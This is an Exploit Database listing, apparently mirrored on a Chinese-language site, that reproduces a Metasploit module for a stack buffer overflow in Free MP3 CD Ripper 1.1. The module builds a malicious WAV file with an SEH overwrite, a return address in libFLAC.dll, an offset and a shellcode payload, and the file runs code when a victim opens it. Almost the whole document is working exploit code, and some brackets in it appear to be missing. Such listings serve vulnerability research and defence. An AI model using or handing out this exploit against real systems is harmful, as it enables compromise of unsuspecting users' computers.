Free MP3 CD Ripper 1.1 – ‘.wav’ Local Stack Buffer Overflow (Metasploit)

Exploit Database
130 阅读

作者： Metasploit

日期： 2011-11-22
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/18142/

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'Free MP3 CD Ripper 1.1 (WAV File) Stack Buffer Overflow',

'Description'=> %q{

This module exploits a stack based buffer overflow found in Free MP3 CD

Ripper 1.1.The overflow is triggered when an unsuspecting user opens a malicious

WAV file.

'License'=> MSF_LICENSE,

'Author' =>

[

'Richard Leahy',# Initial discovery

'X-h4ck', # msf module is based on his poc

'Tiago Henriques',# msf module

'James Fitts' # clean ups

'References' =>

[

[ 'OSVDB', '63349' ],

[ 'URL', 'http://www.exploit-db.com/exploits/11975' ], #Initial disclosure

[ 'URL', 'http://www.exploit-db.com/exploits/17727/' ] #This exploit is based on this poc

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'DisablePayloadHandler' => 'true',

'Payload'=>

{

'BadChars' => "\x00\x0a\x0d\x20",

'StackAdjustment' => -3500,

'DisableNops' => 'True',

'Platform' => 'win',

'Targets'=>

[

'Windows XP SP3 EN',

{

'Ret' => 0x1001860b, # p/p/r in libFLAC.dll

'Offset' => 4116

}

'Privileged' => false,

'DisclosureDate' => 'Aug 27 2011',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ true, 'The file name.','msf.wav']),

], self.class)

end

def exploit

wav = Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 100

wav << payload.encoded

wav << rand_text_alpha_upper(target['Offset'] - (100 + payload.encoded.length))

wav << generate_seh_record(target.ret)

wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "inc ecx").encode_string * 4

wav << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4050").encode_string

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(wav)

end